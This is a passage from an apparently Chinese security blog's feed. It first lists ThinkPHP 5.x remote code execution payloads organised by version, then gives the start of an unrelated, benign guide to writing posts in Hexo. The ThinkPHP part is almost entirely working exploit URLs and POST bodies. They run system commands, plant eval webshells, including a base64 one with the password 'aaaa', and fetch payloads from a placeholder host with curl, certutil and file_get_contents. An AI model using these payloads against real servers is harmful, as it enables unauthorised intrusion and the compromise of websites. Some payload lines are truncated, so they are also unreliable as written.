class="title">assert</span></span></span><br></pre></td></tr></table></figure><h3 id="Thinkphp-5-0-5"><a href="#Thinkphp-5-0-5" class="headerlink" title="Thinkphp 5.0.5"></a>Thinkphp 5.0.5</h3><p>waf对eval进行了拦截</p><p>禁止了assert函数对eval函数后面的括号进行了正则过滤</p><p>对file_get_contents函数后面的括号进行了正则过滤</p><figure class="highlight php-template"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="xml">http://test.com/?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=file_put_contents&amp;vars[1][]=2.php&amp;vars[1][1]=</span><span class="php"><span class="meta">&lt;?php</span> <span class="comment">/*1111*/</span><span class="comment">/***/</span>file_put_contents<span class="comment">/*1**/</span>(<span class="comment">/***/</span><span class="string">&#x27;index11.php&#x27;</span><span class="comment">/**/</span>,file_get_contents(<span class="comment">/**/</span><span class="string">&#x27;https://www.hack.com/xxx.js&#x27;</span>))<span class="comment">/**/</span>;<span class="comment">/**/</span><span class="meta">?&gt;</span></span></span><br></pre></td></tr></table></figure><h3 id="Thinkphp-5-0-6"><a href="#Thinkphp-5-0-6" class="headerlink" title="Thinkphp 5.0.6"></a>Thinkphp 5.0.6</h3><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">POST</span><br><span class="line"></span><br><span class="line">s=whoami&amp;_method=__construct&amp;<span class="keyword">method</span>=POST&amp;<span class="keyword">filter</span>[]=<span class="keyword">system</span></span><br><span class="line"></span><br><span class="line">aaaa=whoami&amp;_method=__construct&amp;<span class="keyword">method</span>=<span class="keyword">GET</span>&amp;<span class="keyword">filter</span>[]=<span class="keyword">system</span></span><br><span class="line"></span><br><span class="line">_method=__construct&amp;<span class="keyword">method</span>=<span class="keyword">GET</span>&amp;<span class="keyword">filter</span>[]=<span class="keyword">system</span>&amp;<span class="keyword">get</span>[]=whoami</span><br></pre></td></tr></table></figure><p>getshell</p><figure class="highlight oxygene"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">POST</span><br><span class="line"></span><br><span class="line">s=file_put_contents(<span class="string">&#x27;zerosec.php&#x27;</span>,<span class="string">&#x27;&lt;?php phpinfo();&#x27;</span>)&amp;_method=__construct&amp;<span class="function"><span class="keyword">method</span>=<span class="title">POST</span>&amp;<span class="title">filter</span>[]=<span class="title">assert</span></span></span><br></pre></td></tr></table></figure><h3 id="Thinkphp-5-0-7"><a href="#Thinkphp-5-0-7" class="headerlink" title="Thinkphp 5.0.7"></a>Thinkphp 5.0.7</h3><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">POST</span><br><span class="line"></span><br><span class="line">s=whoami&amp;_method=__construct&amp;<span class="keyword">method</span>=POST&amp;<span class="keyword">filter</span>[]=<span class="keyword">system</span></span><br><span class="line"></span><br><span class="line">aaaa=whoami&amp;_method=__construct&amp;<span class="keyword">method</span>=<span class="keyword">GET</span>&amp;<span class="keyword">filter</span>[]=<span class="keyword">system</span></span><br><span class="line"></span><br><span class="line">_method=__construct&amp;<span class="keyword">method</span>=<span class="keyword">GET</span>&amp;<span class="keyword">filter</span>[]=<span class="keyword">system</span>&amp;<span class="keyword">get</span>[]=whoami</span><br></pre></td></tr></table></figure><p>getshell</p><figure class="highlight oxygene"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">POST</span><br><span class="line"></span><br><span class="line">s=file_put_contents(<span class="string">&#x27;zerosec.php&#x27;</span>,<span class="string">&#x27;&lt;?php phpinfo();&#x27;</span>)&amp;_method=__construct&amp;<span class="function"><span class="keyword">method</span>=<span class="title">POST</span>&amp;<span class="title">filter</span>[]=<span class="title">assert</span></span></span><br></pre></td></tr></table></figure><h3 id="Thinkphp-5-0-8"><a href="#Thinkphp-5-0-8" class="headerlink" title="Thinkphp 5.0.8"></a>Thinkphp 5.0.8</h3><pre><code>http://test.com/public_method=__construct&amp;method=get&amp;filter[]=call_user_func&amp;server[]=phpinfo&amp;get[]=phpinfo_method=__construct&amp;method=get&amp;filter[]=call_user_func&amp;get[]=phpinfo_method=__construct&amp;method=get&amp;filter[]=call_user_func&amp;get[0]=phpinfo&amp;get[1]=1c=system&amp;f=calc&amp;_method=filter</code></pre><blockquote><p>写入文件</p></blockquote><pre><code>http://wtest.com/index.php?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=file_put_contents&amp;vars[1][]=uploads/1.php&amp;vars[1][]=&lt;?php ?&gt;</code></pre><blockquote><p>直接用菜刀连</p></blockquote><pre><code>http://test.com/index.php?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=assert&amp;vars[1][0]=eval($_POST[1])</code></pre><blockquote><p>getshell</p></blockquote><pre><code>POSTs=file_put_contents(&#39;zerosec.php&#39;,&#39;&lt;?php phpinfo();&#39;)&amp;_method=__construct&amp;method=POST&amp;filter[]=assert</code></pre><h3 id="Thinkphp-5-0-9"><a href="#Thinkphp-5-0-9" class="headerlink" title="Thinkphp 5.0.9"></a>Thinkphp 5.0.9</h3><blockquote><p>test.com/?s=index/index</p></blockquote><pre><code>POSTs=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=systemaaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoamic=system&amp;f=calc&amp;_method=filter</code></pre><blockquote><p>写shell</p></blockquote><pre><code>POSTs=file_put_contents(&#39;zerosec.php&#39;,&#39;&lt;?php phpinfo();&#39;)&amp;_method=__construct&amp;method=POST&amp;filter[]=asser</code></pre><h3 id="Thinkphp-5-0-10"><a href="#Thinkphp-5-0-10" class="headerlink" title="Thinkphp 5.0.10"></a>Thinkphp 5.0.10</h3><p>post提交</p><pre><code>http://test.com/public/index.php?s=index/index/indexs=whoami&amp;_method=__construct&amp;method&amp;filter[]=syste</code></pre><h3 id="Thinkphp-5-0-11"><a href="#Thinkphp-5-0-11" class="headerlink" title="Thinkphp 5.0.11"></a>Thinkphp 5.0.11</h3><pre><code>http://test.com/?s=admin/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.ph</code></pre><h3 id="Thinkphp-5-0-12"><a href="#Thinkphp-5-0-12" class="headerlink" title="Thinkphp 5.0.12"></a>Thinkphp 5.0.12</h3><blockquote><p>test.com/?s=index/index</p></blockquote><pre><code>posts=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=systemaaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoamic=system&amp;f=calc&amp;_method=filter</code></pre><blockquote><p>写shell</p></blockquote><pre><code>POSTs=file_put_contents(&#39;zerosec.php&#39;,&#39;&lt;?php phpinfo();&#39;)&amp;_method=__construct&amp;method=POST&amp;filter[]=assert</code></pre><h3 id="Thinkphp-5-0-13"><a href="#Thinkphp-5-0-13" class="headerlink" title="Thinkphp 5.0.13"></a>Thinkphp 5.0.13</h3><blockquote><p>post提交</p></blockquote><pre><code>test.com/?s=index/indexs=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=systemaaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoamic=system&amp;f=calc&amp;_method=filter</code></pre><blockquote><p>写shell</p></blockquote><pre><code>POSTs=file_put_contents(&#39;zerosec.php&#39;,&#39;&lt;?php phpinfo();&#39;)&amp;_method=__construct&amp;method=POST&amp;filter[]=assert</code></pre><p>补充</p><blockquote><p>有captcha路由时无需debug=true</p><p><a href="http://test.com/?s=captcha/calc">http://test.com/?s=captcha/calc</a></p></blockquote><pre><code>POST _method=__construct&amp;filter[]=system&amp;method=GET</code></pre><h3 id="Thinkphp-5-0-14"><a href="#Thinkphp-5-0-14" class="headerlink" title="Thinkphp 5.0.14"></a>Thinkphp 5.0.14</h3><p>1、常规命令</p><pre><code>?s=index/think\app/invokefunction&amp;function=&amp;function=call_user_func_array&amp;vars[0]=file_put_contents&amp;vars[1][]=shell.php.jpg&amp;vars[1][]=%3C?php%20phpinfo();?3E</code></pre><p>2、eval（&#39;&#39;）和assert（&#39;&#39;）被拦截，命令函数被禁止</p><pre><code>http://www.xxxx.com/?s=admin/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=assert&amp;vars[1][0]=phpinfo();http://www.xxx.com/?s=admin/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=assert&amp;vars[1][0]=eval($_GET[1])&amp;1=call_user_func_array(&quot;file_put_contents&quot;,array(&quot;3.php&quot;,file_get_contents(&quot;https://www.hack.com/xxx.js&quot;)));</code></pre><p>3、基于php7.2环境下</p><pre><code>http://www.xxxx.cn/?s=admin/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=file_put_contents&amp;vars[1][0]=1.txt&amp;vars[1][1]=1http://www.xxxx.cn/?s=admin/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=file_put_contents&amp;vars[1][0]=index11.php&amp;vars[1][1]=&lt;?=file_put_contents(&#39;index111.php&#39;,file_get_contents(&#39;https://www.hack.com/xxx.js&#39;));?&gt;写进去发现转义了尖括号</code></pre><p>4、通过copy函数</p><pre><code> http://www.xxxx.cn/?s=admin/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=copy&amp;vars[1][0]= https://www.hack.com/xxx.js&amp;vars[1][1]=112233.ph</code></pre><h3 id="Thinkphp-5-0-15"><a href="#Thinkphp-5-0-15" class="headerlink" title="Thinkphp 5.0.15"></a>Thinkphp 5.0.15</h3><blockquote><p><a href="https://test.com/?s=index/index">https://test.com/?s=index/index</a></p></blockquote><pre><code>posts=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=systemaaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoamic=system&amp;f=calc&amp;_method=filter</code></pre><blockquote><p>写shell</p></blockquote><pre><code>POSTs=file_put_contents(&#39;zerosec.php&#39;,&#39;&lt;?php phpinfo();&#39;)&amp;_method=__construct&amp;method=POST&amp;filter[]=assert</code></pre><blockquote><p>有captcha路由时无需debug=true</p><p><a href="https://test.com/?s=captcha/calc">https://test.com/?s=captcha/calc</a></p></blockquote><pre><code>POST _method=__construct&amp;filter[]=system&amp;method=GET</code></pre><h3 id="Thinkphp-5-0-16"><a href="#Thinkphp-5-0-16" class="headerlink" title="Thinkphp 5.0.16"></a>Thinkphp 5.0.16</h3><blockquote><p><a href="https://test.com/?s=index/index">https://test.com/?s=index/index</a></p></blockquote><pre><code>posts=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=systemaaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoamic=system&amp;f=calc&amp;_method=filter</code></pre><blockquote><p>写shell</p></blockquote><pre><code>POSTs=file_put_contents(&#39;zerosec.php&#39;,&#39;&lt;?php phpinfo();&#39;)&amp;_method=__construct&amp;method=POST&amp;filter[]=assert</code></pre><blockquote><p>有captcha路由时无需debug=true</p><p><a href="https://test.com/?s=captcha/calc">https://test.com/?s=captcha/calc</a></p></blockquote><pre><code>POST _method=__construct&amp;filter[]=system&amp;method=GET</code></pre><blockquote><p>写shell</p></blockquote><pre><code>posts=file_put_contents(&#39;/绝对路径/test.php&#39;,base64_decode(&#39;PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4&#39;))&amp;_method=__construct&amp;filter=assert    密码aaaa</code></pre><blockquote><p>直接菜刀连</p></blockquote><pre><code>http://wtest.com/index.php?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=assert&amp;vars[1][0]=eval($_POST[1])</code></pre><h3 id="Thinkphp-5-0-17"><a href="#Thinkphp-5-0-17" class="headerlink" title="Thinkphp 5.0.17"></a>Thinkphp 5.0.17</h3><blockquote><p><a href="https://test.com/?s=index/index">https://test.com/?s=index/index</a></p></blockquote><pre><code>POST s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=systemaaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoamic=system&amp;f=calc&amp;_method=filter</code></pre><blockquote><p>写shell</p></blockquote><pre><code>POSTs=file_put_contents(&#39;zerosec.php&#39;,&#39;&lt;?php phpinfo();&#39;)&amp;_method=__construct&amp;method=POST&amp;filter[]=assert</code></pre><blockquote><p>有captcha路由时无需debug=true</p><p><a href="https://test.com/?s=captcha/calc">https://test.com/?s=captcha/calc</a></p></blockquote><pre><code>POST _method=__construct&amp;filter[]=system&amp;method=GET</code></pre><h3 id="Thinkphp-5-0-18"><a href="#Thinkphp-5-0-18" class="headerlink" title="Thinkphp 5.0.18"></a>Thinkphp 5.0.18</h3><p>1、windows</p><pre><code>http://www.xxxx.com/?s=admin/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][0]=1http://www.xxxx.com/?s=admin/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=assert&amp;vars[1][0]=phpinfo()</code></pre><p>2、使用certutil</p><pre><code>http://www.xxxx.com/?s=admin/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=passthru&amp;vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php</code></pre><p>由于根目录没写权限，所</p><h3 id="Thinkphp-5-0-19"><a href="#Thinkphp-5-0-19" class="headerlink" title="Thinkphp 5.0.19"></a>Thinkphp 5.0.19</h3><blockquote><p><a href="https://test.com/?s=index/index">https://test.com/?s=index/index</a></p></blockquote><pre><code>POST s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=systemaaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoamic=system&amp;f=calc&amp;_method=filter</code></pre><blockquote><p>写shell</p></blockquote><pre><code>POSTs=file_put_contents(&#39;zerosec.php&#39;,&#39;&lt;?php phpinfo();&#39;)&amp;_method=__construct&amp;method=POST&amp;filter[]=assert</code></pre><blockquote><p>有captcha路由时无需debug=true</p><p><a href="https://test.com/?s=captcha/calc">https://test.com/?s=captcha/calc</a></p></blockquote><pre><code>POST _method=__construct&amp;filter[]=system&amp;method=GET</code></pre><h3 id="Thinkphp-5-0-20"><a href="#Thinkphp-5-0-20" class="headerlink" title="Thinkphp 5.0.20"></a>Thinkphp 5.0.20</h3><blockquote><p><a href="https://test.com/?s=index/index">https://test.com/?s=index/index</a></p></blockquote><pre><code>POST s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=systemaaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoamic=system&amp;f=calc&amp;_method=filter</code></pre><blockquote><p>写shell</p></blockquote><pre><code>POSTs=file_put_contents(&#39;zerosec.php&#39;,&#39;&lt;?php phpinfo();&#39;)&amp;_method=__construct&amp;method=POST&amp;filter[]=assert</code></pre><blockquote><p>有captcha路由时无需debug=true</p><p><a href="https://test.com/?s=captcha/calc">https://test.com/?s=captcha/calc</a></p></blockquote><pre><code>POST _method=__construct&amp;filter[]=system&amp;method=GET</code></pre><h3 id="Thinkphp-5-0-21"><a href="#Thinkphp-5-0-21" class="headerlink" title="Thinkphp 5.0.21"></a>Thinkphp 5.0.21</h3><p>1、poc</p><pre><code>http://0-sec.org/thinkphp_5.0.21/?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=whoami</code></pre><p>2、poc</p><pre><code>http://0-sec.org/thinkphp_5.0.21/?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1</code></pre><p>3、poc</p><pre><code>http://0-sec.org/public/index.php?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=assert&amp;vars[1][]=@eval($_GET[&#39;fuck&#39;]);&amp;fuck=system(&quot;whoami&quot;);</code></pre><p>4、poc</p><pre><code>http://0-sec.org/public/index.php?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=assert&amp;vars[1][]=@eval($_GET[&#39;fuck&#39;]);&amp;fuck=eval($_POST[ian])</code></pre><h3 id="Thinkphp-5-0-22"><a href="#Thinkphp-5-0-22" class="headerlink" title="Thinkphp 5.0.22"></a>Thinkphp 5.0.22</h3><p>1、poc</p><pre><code>http://0-sec.org/?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=whoami</code></pre><p>2、poc</p><pre><code>http://0-sec.org/?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=</code></pre><h3 id="Thinkphp-5-0-23"><a href="#Thinkphp-5-0-23" class="headerlink" title="Thinkphp 5.0.23"></a>Thinkphp 5.0.23</h3><pre><code>POST /index.php?s=captcha HTTP/1.1Host: yuoripAccept-Encoding: gzip, deflateAccept: */* Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&amp;filter[]=system&amp;method=get&amp;server[REQUEST_METHOD]=whoami</code></pre><h3 id="Thinkphp-5-1-18"><a href="#Thinkphp-5-1-18" class="headerlink" title="Thinkphp 5.1.18"></a>Thinkphp 5.1.18</h3><p>1、常规poc</p><pre><code>http://www.xxxxx.com/?s=admin/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=file_put_contents&amp;vars[1][0]=index11.php&amp;vars[1][1]=&lt;?=file_put_contents(&#39;index_bak2.php&#39;,file_get_contents(&#39;https://www.hack.com/xxx.js&#39;));?&gt;</code></pre><p>2、所有目录都无写入权限,base64函数被拦截</p><pre><code> http://www.xxxx.com/?s=admin/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=assert&amp;vars[1][0]=eval($_POST[1]</code></pre><h3 id="Thinkphp-5-1-29"><a href="#Thinkphp-5-1-29" class="headerlink" title="Thinkphp 5.1.29"></a>Thinkphp 5.1.29</h3><p>1、代码执行</p><pre><code>http://test.com/?s=index/\think\Request/input&amp;filter=phpinfo&amp;data=1http://test.com/?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1http://test.com/?s=index/\think\Container/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1</code></pre><p>2、命令执行</p><pre><code>http://test.com/?s=index/\think\Request/input&amp;filter=system&amp;data=操作系统命令http://test.com/?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=操作系统命令http://test.com/?s=index/\think\Container/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=操作系统命令</code></pre><p>3、文件写入</p><pre><code>http://test.com/?s=index/\think\template\driver\file/write&amp;cacheFile=shell.php&amp;content=%3C?php%20phpinfo();?%3Ehttp://test.com/?s=index/\think\view\driver\Php/display&amp;content=%3C?php%20phpinfo();?%3</code></pre><p>以上资源来源与互联网，如有侵权，请邮箱联系我，及时删除。</p><p><a href="https://www.anquanke.com/post/id/104847">https://www.anquanke.com/post/id/104847</a></p><p><a href="https://www.cnblogs.com/AtesetEnginner/p/12203534.html">https://www.cnblogs.com/AtesetEnginner/p/12203534.html</a></p>]]></content>
    
    
    <summary type="html">ThinkPHP 3.x ，5.x 漏洞相关的RCE，只包含命令执行POC或者EXP。</summary>
    
    
    
    <category term="红队打点" scheme="https://fz1lin.com/categories/%E7%BA%A2%E9%98%9F%E6%89%93%E7%82%B9/"/>
    
    
    <category term="ThinkPHP" scheme="https://fz1lin.com/tags/ThinkPHP/"/>
    
    <category term="RCE" scheme="https://fz1lin.com/tags/RCE/"/>
    
  </entry>
  
  <entry>
    <title>Hexo 写作清单</title>
    <link href="https://fz1lin.com/2021/2056430684/"/>
    <id>https://fz1lin.com/2021/2056430684/</id>
    <published>2021-12-01T10:59:41.000Z</published>
    <updated>2021-12-22T11:54:56.236Z</updated>
    
    <content type="html"><![CDATA[<h2 id="0x01-Hexo文章管理"><a href="#0x01-Hexo文章管理" class="headerlink" title="0x01 Hexo文章管理"></a>0x01 Hexo文章管理</h2><h3 id="1-创建一个md文件"><a href="#1-创建一个md文件" class="headerlink" title="1.创建一个md文件"></a>1.创建一个<a href="https://www.zhihu.com/search?q=md%E6%96%87%E4%BB%B6&search_source=Entity&hybrid_search_source=Entity&hybrid_search_extra=%7B%22sourceType%22:%22article%22,%22sourceId%22:156915260%7D">md文件</a></h3><p>md文件也就是<code>Markdown</code>文件，通过以下命令来创建：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">hexo new &lt;title&gt;</span><br><span class="line">hexo new <span class="string">&quot;我的第一篇文章&quot;</span></span><br></pre></td></tr></table></figure><h3 id="2-布局（layout）"><a href="#2-布局（layout）" class="headerlink" title="2.布局（layout）"></a>2.布局（layout）</h3><ul><li>创建md文件时，我们可以指定布局</li></ul><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">hexo</span> <span class="string">new</span> [<span class="string">layout</span>] <span class="string">&lt;title&gt;$</span> <span class="string">hexo</span> <span class="string">new</span> <span class="string">page</span> <span class="string">&quot;我的页面&quot;</span></span><br></pre></td></tr></table></figure><ul><li>布局有三种：<code>post</code>（文章）、<code>draft</code>（草稿）、<code>page</code>（页面）</li></ul><p>在新建文件时，Hexo 会根据 <code>scaffolds</code> 文件夹内相对应的文件（可以理解为模板）来建立md文件：</p><h3 id="3-草稿（draft）"><a href="#3-草稿（draft）" class="headerlink" title="3.草稿（draft）"></a>3.草稿（draft）</h3><p><code>draft</code>这种布局在建立时会被保存到 <code>source/_drafts</code> 文件夹中，但不会显示在页面上，如果我们不想某一篇文章显示在页面上，那么就可以把它移动到<code>_drafts</code>文件夹中。</p><ul><li>我们可在启动服务器时加上 <code>--draft</code> 参数来查看草稿。</li></ul><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">hexo</span> <span class="string">server</span> <span class="string">--draft</span></span><br></pre></td></tr></table></figure><ul><li>还可以在站点配置文件中把 <code>render_drafts</code> 参数设为 <code>true</code> 来预览草稿。</li><li>我们可以通过 <code>publish</code> 命令将草稿发布文章或者页面，它将会被移动到指定的文件夹。</li></ul><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">hexo</span> <span class="string">publish</span> [<span class="string">layout</span>] <span class="string">&lt;title&gt;</span></span><br></pre></td></tr></table></figure><h2 id="0x02-概述文章"><a href="#0x02-概述文章" class="headerlink" title="0x02 概述文章"></a>0x02 概述文章</h2><h3 id="方法一：写概述"><a href="#方法一：写概述" class="headerlink" title="方法一：写概述"></a>方法一：写概述</h3><p>在对应文章对 <code>front-matter</code>（文章文件最上方以 <code>---</code>分割对区域，是用来指定个别文件的配置变量区域）中添加<code>description</code>变量，其中<code>description</code>变量设置的内容就会被显示在首页上门，其余的文案一律不显示。配置如下：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">title:</span> <span class="string">Hexo</span> <span class="string">写作清单</span></span><br><span class="line"><span class="attr">categories:</span>  <span class="string">Hexo</span>   <span class="string">//分类</span></span><br><span class="line"><span class="attr">tags:</span>               <span class="string">//标签</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">Hexo</span></span><br><span class="line"><span class="attr">description:</span> <span class="string">写作博客的流程</span>   <span class="string">//概述</span></span><br><span class="line"><span class="meta">---</span></span><br></pre></td></tr></table></figure><p>这一种方法是需要自己写概述，所以比较费事，于是就有了第二种方法。</p><h3 id="方法二：文章截断显示"><a href="#方法二：文章截断显示" class="headerlink" title="方法二：文章截断显示"></a>方法二：文章截断显示</h3><p>这种方法只需要在对应的文章里，想要展示的文章后添加以下标签就可以了</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&lt;!--more--&gt;</span></span><br></pre></td></tr></table></figure><p>然后首页就会显示在这个标签以上的所有内容，隐藏文章下面的所有内容。 </p><h2 id="0x03-Front-matter-预定设置"><a href="#0x03-Front-matter-预定设置" class="headerlink" title="0x03 Front-matter 预定设置"></a>0x03 Front-matter 预定设置</h2><table><thead><tr><th>配置选项</th><th>默认值</th><th>描述</th></tr></thead><tbody><tr><td>title</td><td><code>Markdown</code> 的文件标题</td><td>文章标题，强烈建议填写此选项</td></tr><tr><td>date</td><td>文件创建时的日期时间</td><td>发布时间，强烈建议填写此选项，且最好保证全局唯一</td></tr><tr><td>author</td><td>根 <code>_config.yml</code> 中的 <code>author</code></td><td>文章作者</td></tr><tr><td>img</td><td><code>featureImages</code> 中的某个值</td><td>文章特征图，推荐使用图床(腾讯云、七牛云、又拍云等)来做图片的路径.如: <code>http://xxx.com/xxx.jpg</code></td></tr><tr><td>top</td><td><code>true</code></td><td>推荐文章（文章是否置顶），如果 <code>top</code> 值为 <code>true</code>，则会作为首页推荐文章</td></tr><tr><td>cover</td><td><code>false</code></td><td><code>v1.0.2</code>版本新增，表示该文章是否需要加入到首页轮播封面中</td></tr><tr><td>coverImg</td><td>无</td><td><code>v1.0.2</code>版本新增，表示该文章在首页轮播封面需要显示的图片路径，如果没有，则默认使用文章的特色图片</td></tr><tr><td>password</td><td>无</td><td>文章阅读密码，如果要对文章设置阅读验证密码的话，就可以设置 <code>password</code> 的值，该值必须是用 <code>SHA256</code> 加密后的密码，防止被他人识破。前提是在主题的 <code>config.yml</code> 中激活了 <code>verifyPassword</code> 选项</td></tr><tr><td>toc</td><td><code>true</code></td><td>是否开启 TOC，可以针对某篇文章单独关闭 TOC 的功能。前提是在主题的 <code>config.yml</code> 中激活了 <code>toc</code> 选项</td></tr><tr><td>mathjax</td><td><code>false</code></td><td>是否开启数学公式支持 ，本文章是否开启 <code>mathjax</code>，且需要在主题的 <code>_config.yml</code> 文件中也需要开启才行</td></tr><tr><td>summary</td><td>无</td><td>文章摘要，自定义的文章摘要内容，如果这个属性有值，文章卡片摘要就显示这段文字，否则程序会自动截取文章的部分内容作为摘要</td></tr><tr><td>categories</td><td>无</td><td>文章分类，本主题的分类表示宏观上大的分类，只建议一篇文章一个分类</td></tr><tr><td>tags</td><td>无</td><td>文章标签，一篇文章可以多个标签</td></tr><tr><td>keywords</td><td>文章标题</td><td>文章关键字，SEO 时需要</td></tr><tr><td>reprintPolicy</td><td>cc_by</td><td>文章转载规则， 可以是 cc_by, cc_by_nd, cc_by_sa, cc_by_nc, cc_by_nc_nd, cc_by_nc_sa, cc0, noreprint 或 pay 中的一个</td></tr></tbody></table><h3 id="1-为文章添加分类与标签"><a href="#1-为文章添加分类与标签" class="headerlink" title="1.为文章添加分类与标签"></a>1.为文章添加分类与标签</h3><p>只有文章（post布局）支持分类和标签，需要在<code>Front-matter</code>中设置。分类有层级关系，标签没有。</p><p>举个例子：<br>1）下面文章它的标签是：Hexo、博客<br>2）分类是： 个人博客 &gt; Hexo博客<br>3）“Hexo博客” 是 “个人博客” 的子分类</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">categories:</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">个人博客（第一层级）</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">Hexo博客（第二层级）</span></span><br><span class="line"><span class="attr">tags:</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">Hexo</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">博客</span></span><br></pre></td></tr></table></figure><h3 id="2-为文章添加多个分类"><a href="#2-为文章添加多个分类" class="headerlink" title="2.为文章添加多个分类"></a>2.为文章添加多个分类</h3><p>1）下面文章属于三个分类：日常 &gt; 生活，日常 &gt; 随想，日记<br>2）其中生活、随想为日常的子分类，日常和日记为同级分类</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">categories:</span></span><br><span class="line"><span class="bullet">-</span> [<span class="string">日常</span>, <span class="string">生活</span>]</span><br><span class="line"><span class="bullet">-</span> [<span class="string">日常</span>, <span class="string">随想</span>]</span><br><span class="line"><span class="bullet">-</span> [<span class="string">日记</span>]</span><br></pre></td></tr></table></figure><h2 